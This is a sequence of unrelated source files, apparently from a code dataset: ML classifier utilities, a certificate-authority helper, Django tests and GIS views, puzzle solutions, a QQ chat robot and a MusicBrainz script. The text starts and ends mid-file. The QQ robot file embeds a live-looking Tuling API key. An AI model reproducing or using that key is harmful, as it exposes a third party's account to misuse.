dataframe:\n :param is_classifier_catboost:\n :return:\n '''\n fold_dfs = get_folds(dataframe)\n per_classifier_true_array = []\n per_classifier_predicted_array = []\n for test_df,train_df in fold_dfs:\n balanced_train_dfs = df_utils.get_balanced_dataframe(train_df,1) # Getting same number of false and true labels\n data_features_only = get_data_features_only(balanced_train_dfs)\n if is_classifier_catboost is True:\n # We do this because CatBoost wants to take the label array as a list of numbers rather than list of booleans.\n # To fix this, we convert the boolean label array to an int array which will be taken care of by the model automatically.\n # Everything else remains the same.\n datavalues_from_train_set, _,labels_from_train_set = extract_feature_values_from_df(balanced_train_dfs,data_features_only)\n datavalues_from_test_set, _, labels_from_test_set = extract_feature_values_from_df(balanced_train_dfs,\n data_features_only)\n\n else:\n datavalues_from_train_set,labels_from_train_set,_ = extract_feature_values_from_df(balanced_train_dfs,data_features_only)\n datavalues_from_test_set,labels_from_test_set,_ = extract_feature_values_from_df(test_df,data_features_only)\n classifier.fit(datavalues_from_train_set,labels_from_train_set)\n # here we convert the int label array from catBoost back to a Boolean array to keep parity with the other algorithms.\n predicted_test_array = [bool(i) for i in classifier.predict(datavalues_from_test_set)]\n true_test_array = [bool(i) for i in labels_from_test_set]\n per_classifier_true_array.extend(true_test_array)\n per_classifier_predicted_array.extend(predicted_test_array)\n return per_classifier_true_array,per_classifier_predicted_array\n\n\ndef get_true_preds_arrays_per_classifier(names_of_classifiers, dataframe):\n '''\n This function takes the list of classifiers and the data frame as parameters.\n For each of the classifiers it trains and predicts on the data frame in a cross validation setting. Finally, we\n return a dictionary where the name of the classifier is the key and a tuple of true predicted labels is the value.\n :param names_of_classifiers:\n :param dataframe:\n :return:\n '''\n per_classifier_truepred_arrays = dict()\n per_classifier_time_consumption_minutes = dict()\n for c in names_of_classifiers:\n features_in_dataframe = list(dataframe.columns.values)\n current_classifier_to_use = get_classifier_by_name(c,len(features_in_dataframe))\n start_time = time.time()\n\n if \"cat\" in c:\n (true_array, predicted_array) = get_true_pred_arrays_from_cv(current_classifier_to_use, dataframe,is_classifier_catboost=True)\n else:\n (true_array,predicted_array) = get_true_pred_arrays_from_cv(current_classifier_to_use, dataframe)\n print(f\"finished {c}\")\n per_classifier_truepred_arrays[c] = (true_array,predicted_array)\n per_classifier_time_consumption_minutes[c] = format_num((time.time() - start_time)/60)\n\n return per_classifier_truepred_arrays, per_classifier_time_consumption_minutes\n\ndef format_num(num):\n return '{0:.3g}'.format(num)\n\ndef get_scores_per_classifier(per_class_pred_list_dict):\n '''\n In this function we take the dictionary of classifier name -> (true array, predicted array). We calculate the f1,\n precision, recall and accuracy scores using the scikitlearn.metrics package\n :param per_class_pred_list_dict:\n :return:\n '''\n per_class_score_dict = dict()\n for classifier_name in per_class_pred_list_dict.keys():\n true_array,pred_array = per_class_pred_list_dict[classifier_name]\n f1 = metrics.f1_score(true_array,pred_array)\n accuracy = metrics.accuracy_score(true_array,pred_array)\n precision = metrics.precision_score(true_array,pred_array)\n recall = metrics.recall_score(true_array,pred_array)\n score_dict = {\"f1\":format_num(f1), \"precision\":format_num(precision),\"recall\":format_num(recall),\"accuracy\":format_num(accuracy)}\n per_class_score_dict[classifier_name] = score_dict\n\n return per_class_score_dict\n\n\n\ndef write_classifier_scores_to_file(per_classifier_score_dict, path_to_json_file):\n with open(path_to_json_file,\"w\") as file:\n json.dump(per_classifier_score_dict,file)\n\n\n\ndef write_classifier_time_consumption_to_file(per_classifier_time_dict,path_to_json_file):\n with open(path_to_json_file,\"w\") as file:\n json.dump(per_classifier_time_dict,file)\n\ndef extract_feature_values_from_df(df, features):\n '''\n This function takes the data frame and list of features as parameters . It returns a tuple of data feature values\n labeled as boolean values and labeled as integer values.\n :param df:\n :param features:\n :return:\n '''\n X = df[features]\n X = X.values if len(features) > 1 else X.values.reshape((X.size, 1))\n\n y = df['label'].values.astype(\"bool\")\n y_as_int = [int(i) for i in list(y)]\n\n return X, y, y_as_int\n\ndef get_data_features_only(df):\n '''\n This function takes the data frame as parameters and returns a list of features. These features were found to perform\n best in a ablation study conducted in 2018. Please contact Shraddha for further details.\n :param df:\n :return:\n '''\n meta_features = [\"PMCID\", \"EvtID\", \"CtxID\", \"label\", \"Unnamed: 0\"]\n data_values = list(set(df.columns.values) - set(meta_features))\n return data_values\n\n\n# creating instances of the machine learning models.\ndef get_decision_tree_classifier(num_of_feats,depth=8):\n '''\n This function creates the instances for the decision tree classifier.\n :param num_of_feats:\n :param depth:\n :return:\n '''\n empirical_max = int(sqrt(num_of_feats))\n return DecisionTreeClassifier(max_depth=depth,\n max_features=empirical_max)\n\ndef get_adaboost_classifier():\n '''\n This function creates the instances for the adaboost classifier\n :return:\n '''\n est = 32\n return AdaBoostClassifier(n_estimators=est)\n\n\ndef get_gaussian_classifier():\n '''\n This function creates the instances for the gaussian classifier\n :return:\n '''\n return GaussianProcessClassifier()\n\ndef get_xgb_classifier():\n '''\n This function creates the instances for the xgb classifier\n :return:\n '''\n return xgb.XGBClassifier()\n\ndef get_catboost_classifier():\n ''''\n This function creates the instances for the catboat classifier\n '''\n return CatBoostClassifier(iterations=50, depth=3, learning_rate=0.1, loss_function='Logloss')\n\ndef get_lightgbm_classifier():\n '''\n This function creates the instances for the light GBM classifier\n :return:\n '''\n return LGBMClassifier(objective='binary', random_state=5)\n\n","sub_path":"scripts/utils/model_compare_utils.py","file_name":"model_compare_utils.py","file_ext":"py","file_size_in_byte":9414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"176227277","text":"from selenium import webdriver\nimport time\n\ndr = webdriver.Chrome()\n\n# time.sleep(2)\n# print ('maximize browser')\n# dr.maximize_window()\n\ndr.set_window_size(480,640)\ndr.get('http://m.qq.com')\n\ntime.sleep(5)\ndr.quit()\n","sub_path":"selenium/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"255704163","text":"# ***** BEGIN LICENSE BLOCK *****\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this file,\n# You can obtain one at http://mozilla.org/MPL/2.0/.\n# ***** END LICENSE BLOCK *****\n\n\nimport time\nfrom M2Crypto import ASN1, EVP, RSA, X509\n\n\nclass EphemeralCA(object):\n \"\"\"\n A convenience object that tries to encompass the majority of the functions\n associated with a certificate authority.\n \"\"\"\n def __init__(self, privkey, certificate, settings, extensions):\n # Key and certificate are loaded in trunion.crypto.KeyStore's methods\n # so we expect EVP.Pkey and X509.X509 alike objects\n self.key = privkey\n self.certificate = certificate\n self.settings = settings\n self.extensions = extensions\n\n def set_validity_period(self, cert):\n now = long(time.time())\n asn1 = ASN1.ASN1_UTCTIME()\n asn1.set_time(now)\n cert.set_not_before(asn1)\n asn1 = ASN1.ASN1_UTCTIME()\n asn1.set_time(now + self.settings['cert_validity_lifetime'] * 24 * 60 * 60)\n cert.set_not_after(asn1)\n\n def certify(self, req):\n pubkey = req.get_pubkey()\n cert = X509.X509()\n cert.set_pubkey(pubkey)\n cert.set_version(2) # 2 means X509v3\n #\n # We are explicitly using Python's default time type * 1000 to include\n # milliseconds. While I don't expect to be generating these more often\n # than once a second I've be wrong before.\n #\n cert.set_serial_number(int(time.time() * 1000))\n self.set_validity_period(cert)\n\n cert.set_subject(req.get_subject())\n cert.set_pubkey(req.get_pubkey())\n\n cert.set_issuer(self.certificate.get_subject())\n\n # Some massaging is necessary for extensions if provided in OpenSSL\n # config file style\n if ('subjectKeyIdentifier' in self.extensions\n and self.extensions['subjectKeyIdentifier'] == 'hash'):\n self.extensions['subjectKeyIdentifier'] = cert.get_fingerprint()\n\n # Aaaaaand sign\n cert.sign(self.key, self.settings['signature_digest'])\n return cert\n\n\nclass EphemeralFactory(object):\n \"\"\"\n Simply generating ephemeral keys and certificate requests based on settings\n passed in from the config\n \"\"\"\n\n def __init__(self, settings, dnbase):\n self.key_size = settings.get('ephemeral_key_size', 2048)\n self.digest_alg = settings.get('signature_digest', 'sha1')\n self.dnbase = dnbase\n\n def new(self, identifier):\n # New key of the correct size\n key = EVP.PKey()\n key.assign_rsa(RSA.gen_key(self.key_size, 0x10001, lambda: None))\n\n # Generate the certreq\n request = X509.Request()\n request.set_pubkey(key)\n\n # Set the request's DN\n subject = request.get_subject()\n for k, v in self.dnbase.iteritems():\n # INI style parsers frequently convert key names to all lowercase\n # and M2Crypto's X509_Name class doesn't like that.\n setattr(subject, k.upper(), v)\n subject.CN = identifier\n\n # Sign the request\n request.sign(key, self.digest_alg)\n return key, request\n","sub_path":"trunion/ephemeral.py","file_name":"ephemeral.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"450778052","text":"import sys\nsys.stdin = open('N&M1.txt','r')\n# import copy\n# import itertools\n# #\n#\n# def perm(n, k, M):\n# if k == n:\n# for i in range(len(array)):\n# a = copy.deepcopy(array)\n# new.append(a)\n# return\n# else:\n# for i in range(k, n):\n# array[k], array[i] = array[i], array[k]\n# perm(n, k+1, M)\n# array[k], array[i] = array[i], array[k]\n#\n#\n# N, M = map(int,input().split())\n# array = []\n# for i in range(1, N+1):\n# array.append(i)\n# new = []\n# # perm(len(array), 0, M)\n# new.sort()\n# ans = []\n# a = list(itertools.permutations(N, M))\n# print(a)\n# for cc in range(len(new)):\n# if new[cc][:M] not in ans:\n# ans.append(new[cc][:M])\n# for j in range(len(ans)):\n# for i in range(len(ans[0])):\n# print(ans[j][i], end=' ')\n# print()\n\ndef fider(index, N, M):\n if index == M:\n if sorted(a)==a:\n for i in range(M):\n print(a[i], end=' ')\n print()\n return\n for i in range(1, N + 1):\n # if visited[i]:\n # continue\n # if i > index:\n # return\n # visited[i] = 1\n a[index] = i\n fider(index + 1, N, M)\n # visited[i] = 0\nN, M = map(int, input().split())\nvisited = [0] * (N + 1)\na = [0] * M\nfider(0, N, M)","sub_path":"algorithm_practice/s2s3_ad_study/15649_N&M.py","file_name":"15649_N&M.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"613546461","text":"import unittest\n\nfrom django.test.client import Client\nfrom django.contrib.sites.models import Site\nfrom django.conf import settings\n\nfrom cms.models import Page, Title\nfrom cms_redirects.models import CMSRedirect\n\nclass TestRedirects(unittest.TestCase):\n def setUp(self):\n settings.APPEND_SLASH = False\n\n self.site = Site.objects.get_current()\n\n page = Page()\n page.site = self.site\n page.save()\n page.publish()\n self.page = page\n\n title = Title(title=\"Hello world!\")\n title.page = page\n title.language = u'en'\n title.save()\n\n def test_301_page_redirect(self):\n r_301_page = CMSRedirect(site=self.site, page=self.page, old_path='/301_page.php')\n r_301_page.save()\n\n c = Client()\n r = c.get('/301_page.php')\n self.assertEqual(r.status_code, 301)\n self.assertEqual(r._headers['location'][1], 'http://testserver/')\n\n def test_302_page_redirect(self):\n r_302_page = CMSRedirect(site=self.site, page=self.page, old_path='/302_page.php', response_code='302')\n r_302_page.save()\n\n c = Client()\n r = c.get('/302_page.php')\n self.assertEqual(r.status_code, 302)\n self.assertEqual(r._headers['location'][1], 'http://testserver/')\n\n def test_301_path_redirect(self):\n r_301_path = CMSRedirect(site=self.site, new_path='/', old_path='/301_path.php')\n r_301_path.save()\n\n c = Client()\n r = c.get('/301_path.php')\n self.assertEqual(r.status_code, 301)\n self.assertEqual(r._headers['location'][1], 'http://testserver/')\n\n def test_302_path_redirect(self):\n r_302_path = CMSRedirect(site=self.site, new_path='/', old_path='/302_path.php', response_code='302')\n r_302_path.save()\n\n c = Client()\n r = c.get('/302_path.php')\n self.assertEqual(r.status_code, 302)\n self.assertEqual(r._headers['location'][1], 'http://testserver/')\n\n def test_410_redirect(self):\n r_410 = CMSRedirect(site=self.site, old_path='/410.php', response_code='302')\n r_410.save()\n\n c = Client()\n r = c.get('/410.php')\n self.assertEqual(r.status_code, 410)\n\n def test_redirect_can_ignore_query_string(self):\n \"\"\"\n Set up a redirect as in the generic 301 page case, but then try to get this page with\n a query string appended. Succeed nonetheless.\n \"\"\"\n r_301_page = CMSRedirect(site=self.site, page=self.page, old_path='/301_page.php')\n r_301_page.save()\n\n c = Client()\n r = c.get('/301_page.php?this=is&a=query&string')\n self.assertEqual(r.status_code, 301)\n self.assertEqual(r._headers['location'][1], 'http://testserver')\n","sub_path":"cms_redirects/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"51304477","text":"# How much fuel must they spend to align to that position?\n# https://adventofcode.com/2021/day/7\n\nwith open('inputs/2021/day_07.csv', 'r') as f:\n data = f.read().strip().split(\",\")\n data = [int(x) for x in data]\n\nbest = 999999999\nposition = 0\n\nwhile position < max(data):\n fuel = 0\n for x in data:\n n = abs(x-position)\n fuel += ((n**2)+n)/2\n if fuel < best:\n best = fuel\n position += 1\n\nprint(f'Least amount of fuel used:{int(best)}')\n","sub_path":"2021/day_07/day_07_2.py","file_name":"day_07_2.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"97069401","text":"#0<= x1, y1, x2, y2 <= t\n#\n#|\\\n#| \\\n#| \\\n#| \\\n#| \\\n#|_____\\\n#\n#Case 1: right angle on origin, t*t solutions\n#Case 2: right angle on axis, 2 axis, 2*t*t\n#Case 3: right angle somewhere in middle, point (a,b) where gcd(a, b) = 1\n# REMEMBER TO MULTIPLY BY 2 FOR REFLECTED CASE, BUT NOT FOR CASE 1,1\n# and 00\n# other vertex has position:\n# (n*a + m*b, n*b - m*a) \n# n*a + m*b <= t and n*b >= m*a\n# m <= n*b/a\n# Range of tests\n# 0 < n <= t*a/(a**2+b**2)\n# 0 < m <= t*b/(a**2+b**2)\n# or\n# (n*a - m*b, n*b + m*a)\n# n*b + m*a <= t and n*a >= m*b\n# m <= n*a/b\n# Range of tests\n# 0 < n <= t*b/(a**2+b**2)\n# 0 < m <= t*a/(a**2+b**2)\n#\n#\n#\n#right angle at x1, y1\n#a = x1//gcd(x1, y1)\n#b = y1//gcd(x1, y1)\n#The trigangle is\n#\n#(0, 0), (x1, y1), (x1+g*b, y1-g*a)\n#\n#x2 = x1+g*b\n#y2 = y1-g*a\nfrom math import gcd\nt = 50\ncount = 3*t*t\nfor x1 in range(1, t+1):\n for y1 in range(1, t+1):\n a = x1//gcd(x1, y1)\n b = y1//gcd(x1, y1)\n for g in range(-t, t+1):\n if g == 0:\n continue\n x2 = x1+g*b\n y2 = y1-g*a\n if 0 <= x2 and x2 <= t and 0 <= y2 and y2 <= t:\n# print('(0,0) ,',(x1, y1),',', (x2, y2), a, b, g)\n count += 1\nprint(count)","sub_path":"p091.py","file_name":"p091.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"571570333","text":"from django.contrib.auth.models import User, Group\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.http import JsonResponse\nfrom rest_framework import viewsets\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom .models import GisDataset, GisDatasetPoints, GisDatasetVariables, GisDataRaw, GisVariables\nfrom .models import GisOriginsMetadataConstant, GisDataProccess\nfrom .models import GisPoints, GisTaskDataraw, GisTaskDatarawPoint, GisTaskDatarawVariables, GisImergFilesIndisk\nfrom gis.proccess import DownloadTiff, TimeHelpers\nfrom gis.serializers import UserSerializer, GroupSerializer, GisDataRawSerializer, GisPointsSerializer \nimport json\nfrom urllib.parse import unquote_plus\nimport time\nfrom gis.proccess import ProccessNED\n\n@api_view(['GET', 'POST', 'OPTIONS'])\ndef computeData(request):\n\t\n\n\t#json_string = unquote_plus(request.META['QUERY_STRING'])\n\t#data = json.loads(json_string)\n\tpreData = unquote_plus(request.META['QUERY_STRING'])\n\tdata = preData.split('&')\n\tlocalites = []\n\tlayers = []\n\tcounter = 0\n\tfor item in data:\n\t\tpreData = item.split(\"=\")\n\t\tif preData[0] == 'localities[]':\n\t\t\tlocalites.append(preData[1]) \n\t\telif preData[0] == 'layers[]':\n\t\t\tlayers.append(preData[1])\n\tdataArray = [request.GET,localites, {'layers': layers}]\n\t#points =[]\n\tinit = request.query_params['start_date']\n\tend = request.query_params['end_date']\n\ttask = GisTaskDataraw(name = request.query_params[\"name\"], type = request.query_params[\"type\"], start_date =init, end_date=end, status=\"pending\", task_id=\"asd123123\")\n\ttask.save()\n\tfor locality in localites:\n\t\tpoints = GisPoints.objects.filter(id_location = locality, id_type = 2)\n\t\tfor point in points:\t\n\t\t\tdatPoint = GisTaskDatarawPoint(id_task = task.id, id_point = point.id, complete = 0)\n\t\t\tdatPoint.save()\n\tfor layer in layers:\n\t\tdatVar = GisTaskDatarawVariables(id_task = task.id, id_variable = layer)\n\t\tdatVar.save()\n\treturn Response({\n\t\t\"message\": task.id\n\t})\n\n@api_view(['GET', 'POST', 'OPTIONS'])\ndef getStatusFtp(request):\n\ttask = GisTaskDataraw.objects.get(id = request.query_params['id_task'])\n\tinit_date = TimeHelpers.setDate(str(task.start_date))\n\tend_date = TimeHelpers.setDate(str(task.end_date))\n\tweeks_array = TimeHelpers.getWeeksArray(str(init_date), str(end_date))\n\tfiles = GisImergFilesIndisk.objects.filter(date__in = weeks_array).count()\n\tpercent_download = (float(files) / float(len(weeks_array))) * 100\n\tpoints_total = GisTaskDatarawPoint.objects.filter(id_task = task.id).count()\n\tpoints_proccess = GisTaskDatarawPoint.objects.filter(id_task = task.id, complete = 1).count()\n\tpercent_proccess = (float(points_proccess) / float(points_total)) * 100\n\tif percent_download == 100:\n\t\tpercent_combinig = 100\n\telse:\n\t\tpercent_combinig = 0\n\tif percent_proccess == 100 and percent_download == 100:\n\t\tpercent_finalizing = 100\n\telse:\n\t\tpercent_finalizing = 0\n\t\n\tstatus = [\n\t\t{ \"desc\":\"Initializing\", \"step\":1, \"pct_complete\":100 },\n\t\t{ \"desc\":\"Downloading\", \"step\":2, \"pct_complete\": int(percent_download) },\n\t\t{ \"desc\":\"Combining Data\", \"step\":3, \"pct_complete\": int(percent_combinig) },\n\t\t{ \"desc\":\"Extracting Quality\", \"step\":4,\"pct_complete\":int(percent_proccess) },\n\t\t{ \"desc\":\"Finalizing\", \"step\":5, \"pct_complete\":int(percent_finalizing) }\n\t],\n\treturn Response({\n\t\t\"message\": status\n\t})\t\n@api_view(['GET', 'POST', 'OPTIONS'])\ndef setSatelitalImages(request):\n\tdate_execute = time.strftime('%Y-%m-%d %H:%M:%S')\n\tdate_ep = time.strptime(date_execute, \"%Y-%m-%d %H:%M:%S\")\t\n\tcurrent_executing_date = time.strftime(\"%Y-%m-%d %H:%M:%S\", date_ep)\n\t#?id=''&step=''&cicle=' \n\tdataSet = GisDatasetVariables.objects.filter(id_dataset = request.query_params['id'])\n\tdata = []\n\tprint(dataSet)\n\tfor i in dataSet:\n\t\tdata.append(i.id_variable)\n\tvaris = GisVariables.objects.filter(id__in = data, type = 'constant')\n\tproccess_vars = []\n\tpoints = GisDatasetPoints.objects.filter(id_dataset = request.query_params['id'])\n\tfor var in varis:\n\t\tvar_metadata = GisOriginsMetadataConstant.objects.filter(id = var.id_metadata).first()\n\t\tif var_metadata.type == 'Imagen Satelital':\t\n\t\t\tfor point in points:\n\t\t\t\tcurrentPoint = GisPoints.objects.filter(id_location = point.id_point, id_type = var.id_type).first()\n\t\t\t\tdata = {\n\t\t\t\t\t'coordLat': currentPoint.latitude,\n\t\t\t\t\t'coordLong': currentPoint.longitude,\n\t\t\t\t\t'layer': \tvar_metadata.layer,\n\t\t\t\t\t'file': \tvar_metadata.path\n\t\t\t\t}\n\t\t\t\tcoordinates = currentPoint.latitude + ',' + currentPoint.longitude\n\t\t\t\tproccess_contant = ProccessNED.getNedData(data)\n\t\t\t\t#proccess_vars.append(ProccessNED.getNedData(data))\n\t\t\t\tvalid = GisDataProccess.objects.filter(id_variable = var.id, id_point = currentPoint.id)\n\t\t\t\tif len(valid) == 0:\n\t\t\t\t\tset_constant = GisDataProccess(id_variable = var.id, value =proccess_contant ,id_point = currentPoint.id, coordinates = coordinates, extract_date = \"1900-01-01\", week = 1, year = 1900, original = 0, created_at = current_executing_date, updated_at = current_executing_date)\n\t\t\t\t\tset_constant.save()\n\t\t\t\t\tresponse = 'set'\n\t\t\t\telse:\n\t\t\t\t\tresponse = 'unset'\n\treturn Response({\n\t\t\"message\": response\n\t})\n\t\n\t\t\n# Create your views here.\n\nclass UserViewSet(viewsets.ModelViewSet):\n\tqueryset = User.objects.all()\n\tserializer_class = UserSerializer\n\nclass GroupViewSet(viewsets.ModelViewSet):\n\tqueryset = Group.objects.all()\n\tserializer_class = GroupSerializer\nclass GisDataRawSet(viewsets.ModelViewSet):\n\tqueryset = GisDataRaw.objects.all()\n\tserializer_class = GisDataRawSerializer\nclass GisPointsSet(viewsets.ModelViewSet):\n\tqueryset = GisPoints.objects.all()\n\tserializer_class = GisPointsSerializer\n\t\t\n\t\t","sub_path":"gis/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"324928971","text":"#!/usr/bin/python2\n# coding:utf-8\n\n###############\n# DESCRIPTION #\n###############\n#\n# Author: Christophe Piton\n#\n# Write 2 files:\n# 1st : learning file\n# 2nd : testing file\n#\n# Table content: (h,i,a,t)\n# - id : unique id\n# - fn : file name\n# - h : happy (True) or not (False)\n# - i : image num\n# - a : neuron's address\n# - n : col num\n#\n###############\n\n##########\n# IMPORT #\n##########\nimport os\nimport brian\nimport pickle\nimport numpy\nimport sys\nfrom skimage import io\n\n############\n# FUNCTION #\n############\ndef path2tab(path, nbI, threshold, hon):\n tab = []\n # Ouverture dossier\n dirs = os.listdir(path)\n # Pour chaque fichier\n for file in dirs:\n # Si le fichier est une image .jpg\n if file[-4:] == '.jpg':\n # Chargement image sous-forme tableau\n image = io.imread(path + file, as_grey=True)\n id = brian.randn()\n address = 0\n # Pour chaque ligne de l'image\n for ligne in image:\n col = 0\n # Pour chaque pixel de la ligne\n for pix in ligne:\n # Si il est supérieur au seuil fixé (0=noir / 255=blanc)\n if pix > threshold:\n # Ajout du pixel au tableau pour déclencher un influx\n # Par le neurone correspondant\n tab.append((id, file, hon, nbI, address, col))\n # Incrémentation numero colonne\n col += 1\n # Incrémentation adresse\n address += 1\n # Incrémentation nombre d'images traitées\n nbI += 1\n return tab, nbI\n\n# Tri selon d'abord l'identifiant de l'image puis le numéro de l'image puis selon le numéro de colonne\ndef comp(v1, v2):\n id1, name1, h1, i1, a1, c1 = v1\n id2, name2, h2, i2, a2, c2 = v2\n # if id1 < id2:\n # return -1\n # elif id1 > id2:\n # return 1\n # else:\n if i1 < i2:\n return -1\n elif i1 > i2:\n return 1\n else:\n if c1 < c2:\n return -1\n elif c1 > c2:\n return 1\n else:\n return 0\n\n###############\n# PARAM / VAR #\n###############\npath = sys.argv[1]\n\nif path[-1] != \"/\":\n path += \"/\"\n\npathLearnHappy = path + 'edgesHappyL/'\npathLearnUnhappy = path + 'edgesNeutralL/'\npathTestHappy = path + 'edgesHappyT/'\npathTestUnhappy = path + 'edgesNeutralT/'\n\nthreshold = 25\n\nnbI = 0\n\n########\n# MAIN #\n########\n# Génération fichier d'apprentissage\ntab1, nbI = path2tab(pathLearnHappy, nbI, threshold, True)\n# tab2, nbI = path2tab(pathLearnUnhappy, nbI, threshold, False)\n# spikesTimes = tab1 + tab2\nspikesTimes = tab1\n\nwith open('spikesTimesL.spt', 'wb') as file:\n pick = pickle.Pickler(file)\n pick.dump(sorted(spikesTimes, comp))\n\n# Génération fichier de test\nnbI = 0\ntab1, nbI = path2tab(pathTestHappy, nbI, threshold, True)\ntab2, nbI = path2tab(pathTestUnhappy, nbI, threshold, False)\nspikesTimes = tab1 + tab2\n\nwith open('spikesTimesT.spt', 'wb') as file:\n pick = pickle.Pickler(file)\n pick.dump(sorted(spikesTimes, comp))\n","sub_path":"src/MyNetworks/balayageEdges/genSpikesTimes.py","file_name":"genSpikesTimes.py","file_ext":"py","file_size_in_byte":3111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"513045431","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport json\nfrom urllib import request, parse\nimport time\nimport re\n\nfrom qqrobot import QQClient, QQHandler\nimport mlogger as log\nimport random\n\n\nclass YorHandler(QQHandler):\n SData={}\n MData={}\n cnt=0\n def __init__(self):\n self.cnt=0\n self.BASEINT=10\n self.SFilename=\"Statistics.json\"#统计数据\n self.MFilename=\"Memory.json\"#记忆数据库 等有时间了改成SQLite【笑】\n with open(self.SFilename,\"r\") as SFile:\n self.SData=SFile.read()\n self.SData=json.loads(self.SData)\n\n with open(self.MFilename,\"r\") as MFile:\n self.MData=MFile.read()\n self.MData=json.loads(self.MData)\n\n def handleMsg(self,msg):\n msg=str(msg)\n tMat=re.match(r\"^#-l{(.*)}{(.*)}\",msg)\n if tMat:\n self.MData[tMat.group(1)].append(tMat.group(2))\n lmatch=[]\n for (key,val) in self.MData.items():\n temps=r\"(.*)\"+str(key)\n if re.search(key,msg):\n return random.choice(val)\n# print(\"Debug:\",lmatch)\n\n def saveFile(self):\n# with open(self.SFilename,\"w\") as SFile:\n# SFile.write(json.dumps(self.SData),ensure_ascii=False)\n with open(self.MFilename,\"w\") as MFile:\n MFile.write(json.dumps(self.MData,ensure_ascii=False))\n\n def on_buddy_message(self,uin,msg):\n msg=str(msg)\n self.cnt=self.cnt+1\n log.i('Received', ':'.join((str(uin), msg)))\n response=self.handleMsg(str(msg))\n log.i('Response[P]:' , response)\n if response !=None:\n self.send_buddy_message(uin, response)\n self.cnt=self.cnt%self.BASEINT\n if(self.cnt==0):\n self.saveFile()\n\n def on_group_message(self, gid, uin, msg):\n msg=str(msg)\n self.cnt=self.cnt+1\n log.i(\"Received:\",str(gid)+\":\"+msg)\n response=self.handleMsg(str(msg))\n log.i(\"Response[G]:\",response)\n if response !=None:\n self.send_group_message(gid, response)\n self.cnt=self.cnt%self.BASEINT\n if(self.cnt==0):\n self.saveFile()\n\n def SFunc(person_name,is_group,group_name):\n stime=time.strftime('%Y-%m-%d',time.localtime(time.time()))\n if is_group:\n self.SData[group_name][person_name][stime]=self.SData[group_name][person_name][stime]+1\n \n\n\n\n\nif __name__ == \"__main__\":#初始化\n a = QQClient() #\n h = YorHandler()\n order=input(\"1.login from savefile.\\n2.login from QR code.\\n\")\n if order==\"1\" or order==\"\":\n a.load_veri('./temps.veri')\n a.login(get_info=False)\n else:\n a.QR_veri()\n a.login()\n a.save_veri()\n a.add_handler(h)\n a.listen(join=True)\n\n\n'''\nif __name__ == \"__main__\":\n a = QQClient()\n # h = QQTulingHandler(input('API Key:'))\n h = QQTulingHandler(\"acde97809abb4e1a89d1539720648249\")\n # you can save your verification\n# a.load_veri(\"./temps.veri\")\n a.QR_veri()\n a.login()\n # a.login(save_veri=True) to save verfication file when\n # login succeeded, or use the following method when\n # you want to save the verification file.\n a.save_veri() # default filename will be ./`QQClient.uin`.veri\n \n\n # or load from a file instead\n # a.load_veri('/path/to/your/verification')\n # a.login(get_info=False)\n#apikey:acde97809abb4e1a89d1539720648249\n a.add_handler(h)\n# a.get_group_list()\n\n #debug\n\n\n #enddebug\n\n a.listen(join=True)\n'''\n\n\n","sub_path":"pyQQRobot/src/QMain.py","file_name":"QMain.py","file_ext":"py","file_size_in_byte":3520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"118863875","text":"from enum import Enum\nfrom typing import FrozenSet\n\n\n# noinspection PyPep8Naming\nclass LLDasError(Enum):\n def __init__(self, tag: str):\n self.tag: str = tag\n\n TEST_DATA_FILE_ERROR = (\n \"TEST_DATA_FILE_ERROR\")\n\n TEST_DATA_FORMAT_ERROR = (\n \"TEST_DATA_FORMAT_ERROR\")\n\n DAS_LOG_FILE_ERROR = (\n \"DAS_LOG_FILE_ERROR\")\n\n DAS_OTHER_ERROR = (\n \"DAS_OTHER_ERROR\")\n\n @classmethod\n def all_tag(cls) -> FrozenSet[str]:\n return frozenset([k.tag for k in list(cls)])","sub_path":"phase02/immortals_repo/shared/tools/integrationtest/generated/mil/darpa/immortals/core/api/ll/phase1/lldaserror.py","file_name":"lldaserror.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"200237983","text":"from musicbrainzngs import get_artist_by_id, get_label_by_id, get_place_by_id, get_series_by_id, set_useragent\r\nfrom musicbrainzngs.musicbrainz import ResponseError\r\nfrom time import sleep\r\nfrom json import dumps\r\nfrom pandas import DataFrame, read_csv\r\nfrom codecs import open\r\n\r\nset_useragent('kp_lister', '0.0.1', contact='tom@kunsten.be')\r\nwith open(\"mbids_contemporary_music.txt\", \"r\") as f:\r\n mbids = f.readlines()\r\n\r\nrecords = []\r\nfor mbid in set(mbids):\r\n try:\r\n mb_data = get_artist_by_id(mbid.strip().split(\"/\")[-1], includes=['url-rels'])[\"artist\"]\r\n except ResponseError:\r\n try:\r\n mb_data = get_place_by_id(mbid.strip().split(\"/\")[-1], includes=['url-rels'])[\"place\"]\r\n except ResponseError:\r\n try:\r\n mb_data = get_label_by_id(mbid.strip().split(\"/\")[-1], includes=['url-rels'])[\"label\"]\r\n except ResponseError:\r\n mb_data = get_series_by_id(mbid.strip().split(\"/\")[-1], 